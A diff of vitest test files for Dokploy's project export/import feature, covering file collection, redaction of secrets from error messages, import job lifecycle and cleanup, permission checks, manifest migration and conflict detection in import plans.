expect(manifestResult.success).toBe(true);
const relativeFiles = await walkFiles(extractDir);
expect(relativeFiles.sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const inventory = JSON.parse(
await readFile(join(extractDir, "inventory.json"), "utf8"),
);
expect(inventory.totals.application).toBe(1);
expect(inventory.totals.postgres).toBe(1);
const requirements = JSON.parse(
await readFile(join(extractDir, "requirements.json"), "utf8"),
);
expect(Array.isArray(requirements)).toBe(true);
expect(requirements.length).toBeGreaterThan(0);
for (const relativePath of relativeFiles) {
const bytes = await readFile(join(extractDir, relativePath));
for (const secret of SECRET_VALUES) {
expect(bytes.includes(secret)).toBe(false);
}
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
}
});
});
@@ -0,0 +1,414 @@
import { existsSync, readFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
Requirement,
} from "@dokploy/server/services/project-export-import";
import { collectFiles } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const { failPullBox } = vi.hoisted(() => ({
failPullBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string, options?: unknown) => {
if (failPullBox.value && command.includes("tar -czf")) {
const { ExecError } = await import(
"@dokploy/server/utils/process/ExecError"
);
throw new ExecError(`Command failed: ${command}`, {
command,
stderr: "no such file or directory",
exitCode: 1,
});
}
return actual.execAsync(command, options as undefined);
}),
};
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
compose: [],
...emptyServiceArrays,
},
],
});
describe("collectFiles / application sources", () => {
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(join(appDir, ".git"), { recursive: true });
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-one");
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
expect(existsSync(join(dest, ".git"))).toBe(false);
expect(existsSync(join(dest, "node_modules"))).toBe(false);
expect(existsSync(join(dest, "code"))).toBe(false);
});
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
const appDir = join(root, "applications", "app-drop");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
const tree = buildTree({
applicationId: "app-drop",
appName: "app-drop",
serverId: null,
sourceType: "drop",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-drop");
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
});
it("does nothing when applicationSources is excluded from scope", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: { ...baseScope.files, applicationSources: false },
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
false,
);
});
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "does-not-exist",
serverId: null,
sourceType: "docker",
domains: [],
});
await expect(
collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
}),
).resolves.toEqual({ warnings: [] });
});
});
describe("collectFiles / traefik raw", () => {
it("collects only the application's own dynamic yml file", async () => {
await mkdir(join(root, "applications", "app-one"), { recursive: true });
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
await writeFile(
join(root, "traefik", "dynamic", "app-one.yml"),
"http:\n routers: {}",
);
await writeFile(
join(root, "traefik", "dynamic", "app-two.yml"),
"http:\n routers: unrelated",
);
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(workDir, "files", "traefik", "app-one.yml");
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
false,
);
});
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files"))).toBe(false);
});
});
describe("collectFiles / custom certificates (T-6.18)", () => {
const emptyTree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
await mkdir(certDir, { recursive: true });
await writeFile(join(certDir, "cert.pem"), "local cert contents");
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-1",
configIncluded: false,
usedBy: [],
fingerprint: "abc123",
serverId: null,
};
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(
workDir,
"files",
"certificates",
"cert-1",
"cert.pem",
);
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
});
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-2",
configIncluded: false,
usedBy: [],
fingerprint: "def456",
serverId: "server-1",
};
const messages: string[] = [];
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
expect(
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
).toBe(false);
});
});
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
afterEach(() => {
failPullBox.value = false;
});
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
failPullBox.value = true;
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
const messages: string[] = [];
const { warnings } = await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: true,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages).toHaveLength(1);
expect(messages[0]).toContain("exit code 1");
expect(messages[0]).toContain("no such file or directory");
expect(messages[0]).not.toContain("tar -czf");
expect(existsSync(join(workDir, "files"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
expect(warnings[0]?.message).toBe(messages[0]);
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "app-1" }),
);
});
});
@@ -0,0 +1,83 @@
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const execError = (command: string) =>
new ExecError(`Command execution failed: Command failed: ${command}`, {
command,
stderr: "NoSuchKey: The specified key does not exist",
exitCode: 1,
});
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
downloadBundleFromDestination: vi.fn(async () => {
throw execError(
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
);
}),
listBundlesUnderPrefix: vi.fn(async () => {
throw execError(
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
);
}),
};
},
);
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
destinations: {
findFirst: vi.fn(async () => ({
destinationId: "destination-1",
organizationId: "org-1",
bucket: "mybucket",
})),
},
},
},
}));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string) =>
({
session: { activeOrganizationId: organizationId },
user: { id: "user-1", email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importFromDestination({
destinationId: "destination-1",
key: "key.tar.gz",
}),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.listRemoteBundles({ destinationId: "destination-1" }),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
});
@@ -0,0 +1,282 @@
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelImport,
cleanupExpiredImports,
createImportJob,
getImportJob,
runImport,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const waitForStatus = async (
importId: string,
target: "done" | "failed",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getImportJob(importId);
if (job?.status === target || job?.status === "failed") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error(
`Timed out waiting for import ${importId} to reach ${target}`,
);
};
describe("runImport", () => {
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
const importId = "import-fail-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map(),
workDir: local("/tmp/does-not-matter"),
});
const failingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: () => {
throw new Error("insert should never be called");
},
update: () => {
throw new Error("update should never be called");
},
transaction: async () => {
throw new Error("Simulated apply failure");
},
} as any as TransferWriteDb;
runImport(importId, { db: failingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.result).toBeUndefined();
expect(job?.partial).toBeFalsy();
expect(job?.error).toContain("Simulated apply failure");
});
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
const importId = "import-clear-secrets-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
workDir: local("/tmp/does-not-matter"),
});
const workingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
certificates: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [{ ...values, projectId: "new-project-1" }],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...workingDb }),
} as any as TransferWriteDb;
runImport(importId, { db: workingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "done");
expect(job?.status).toBe("done");
expect(job?.secretsPlain).toBeUndefined();
expect(job?.snapshot).toBeUndefined();
});
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
const importId = "import-missing-1";
createImportJob(importId, "user-1", "org-dest");
const unusedDb = {
query: {},
insert: () => {
throw new Error("should never be called");
},
update: () => {
throw new Error("should never be called");
},
transaction: async () => {
throw new Error("should never be called");
},
} as any as TransferWriteDb;
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.error).toMatch(/inspect, unlock and plan/i);
});
});
describe("cancelImport (T-4.2)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
const importId = "import-cancel-1";
const jobDir = join(root, importId);
const workDir = join(jobDir, "extracted");
await mkdir(workDir, { recursive: true });
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
await writeFile(join(workDir, "manifest.json"), "{}");
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
await cancelImport(importId);
await expect(readdir(jobDir)).rejects.toThrow();
expect(getImportJob(importId)).toBeUndefined();
});
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
const importId = "import-cancel-running-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
expect(getImportJob(importId)?.status).toBe("restoring");
await expect(readdir(jobDir)).resolves.toEqual([]);
});
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
const importId = "import-cancel-idle-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "planned" });
await cancelImport(importId);
expect(getImportJob(importId)).toBeUndefined();
});
});
describe("cleanupExpiredImports (T-5.10)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "active-past-ttl-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { status: "restoring" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).not.toContain(importId);
expect(getImportJob(importId)).toBeDefined();
});
it("cleans up a terminal-status job once it's past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "terminal-past-ttl-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "done" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).toContain(importId);
expect(getImportJob(importId)).toBeUndefined();
await expect(readdir(jobDir)).rejects.toThrow();
});
});
@@ -0,0 +1,65 @@
import {
assertNoActiveTransfer,
createExportJob,
createImportJob,
createImportJobIfNoneActive,
getImportJob,
updateExportJob,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { describe, expect, it } from "vitest";
describe("assertNoActiveTransfer (T-4.2)", () => {
it("throws when the user has an in-progress export", () => {
createExportJob("export-rl-1", "user-rl-1", "org-1");
updateExportJob("export-rl-1", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
});
it("throws when the user has an in-progress import", () => {
createImportJob("import-rl-1", "user-rl-2", "org-1");
updateImportJob("import-rl-1", { status: "applying" });
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
});
it("does not throw once the job reaches a terminal status", () => {
createExportJob("export-rl-2", "user-rl-3", "org-1");
updateExportJob("export-rl-2", { status: "done" });
createImportJob("import-rl-2", "user-rl-3", "org-1");
updateImportJob("import-rl-2", { status: "done" });
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
});
it("does not throw for a different user's in-progress job", () => {
createExportJob("export-rl-3", "user-rl-4", "org-1");
updateExportJob("export-rl-3", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
});
});
describe("createImportJobIfNoneActive (T-5.11)", () => {
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
).toThrow(TRPCError);
expect(getImportJob("import-atomic-1")).toBeDefined();
expect(getImportJob("import-atomic-2")).toBeUndefined();
});
it("still allows a different user's call to proceed", () => {
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
).not.toThrow();
expect(getImportJob("import-atomic-4")).toBeDefined();
});
});
@@ -0,0 +1,52 @@
import type { Manifest } from "@dokploy/server/services/project-export-import";
import {
migrateManifest,
TRANSFER_FORMAT,
TRANSFER_FORMAT_VERSION,
UnsupportedBundleVersionError,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseManifest: Manifest = {
format: TRANSFER_FORMAT,
formatVersion: TRANSFER_FORMAT_VERSION,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
describe("migrateManifest", () => {
it("returns a v1 manifest unchanged (identity)", () => {
const result = migrateManifest(baseManifest);
expect(result).toEqual(baseManifest);
});
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
const future: Manifest = {
...baseManifest,
formatVersion: TRANSFER_FORMAT_VERSION + 1,
};
expect(() => migrateManifest(future)).toThrow(
UnsupportedBundleVersionError,
);
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
});
});
@@ -0,0 +1,108 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
let memberToReturn:
| {
id: string;
role: string;
userId: string;
organizationId: string;
accessedProjects: string[];
}
| undefined = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
let projectToReturn: { projectId: string; organizationId: string } | undefined =
{ projectId: "project-1", organizationId: "org-1" };
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
},
projects: {
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
},
},
},
}));
const { assertTransferPermission } = await import(
"@dokploy/server/services/project-export-import"
);
const ctxFor = (organizationId: string) => ({
user: { id: "user-1" },
session: { activeOrganizationId: organizationId },
});
beforeEach(() => {
memberToReturn = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
});
describe("assertTransferPermission", () => {
it("allows an owner to export", async () => {
memberToReturn = { ...memberToReturn!, role: "owner" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("allows an admin to export", async () => {
memberToReturn = { ...memberToReturn!, role: "admin" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("rejects a plain member with FORBIDDEN", async () => {
memberToReturn = { ...memberToReturn!, role: "member" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("rejects a user with no membership in the active org (cross-org access)", async () => {
memberToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
).rejects.toBeDefined();
});
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(
ctxFor("org-1") as any,
"project-missing",
"export",
),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("skips the project lookup entirely when no projectId is given", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
).resolves.toBeDefined();
});
});
@@ -0,0 +1,391 @@
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildPlan,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
name: "shared-net",
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
const applicationService: Record<string, unknown> = {
kind: "application",
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
serverId: "server-src-1",
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: { application: 1 },
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [applicationService],
shared: {},
},
requirements: [vaultRequirement, networkRequirement, serverRequirement],
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
network: {
findMany: async () => [],
findFirst: async () => ({
networkId: "net-dest-existing",
name: "shared-net",
organizationId: "org-dest",
}),
},
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod",
organizationId: "org-dest",
},
],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
projects: {
findFirst: async () => ({
projectId: "project-existing",
name: "my-project",
organizationId: "org-dest",
}),
},
domains: {
findMany: async () => [
{ domainId: "dom-existing-1", host: "existing.example.com" },
],
},
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: {
findMany: async () => [
{
portId: "port-existing-1",
publishedPort: 8080,
application: { serverId: "server-dest-1" },
},
],
},
},
}) as any as TransferDb;
describe("buildPlan", () => {
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
requirementKey: requirementKey(vaultRequirement),
action: "skip",
});
expect(plan.pendingServices).toEqual([
{
serviceId: "app-1",
serviceType: "application",
reason: 'Missing vault "prod"',
},
]);
expect(
plan.warnings.some(
(w) =>
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
w.severity === "blocking",
),
).toBe(true);
});
it("flags an existing host as a domain conflict", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual(
expect.objectContaining({
kind: "domain",
value: "existing.example.com",
existingId: "dom-existing-1",
}),
);
});
it("flags an existing project name as a conflict with a suggested rename option", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual({
kind: "projectName",
value: "my-project",
existingId: "project-existing",
usedBy: [],
options: ["rename"],
});
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
action: "rename",
value: "my-project (imported)",
});
});
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
"create",
);
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "network", value: "shared-net" }),
);
});
it("flags a port conflict on the destination server the service resolves to", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "port", value: "8080" }),
);
});
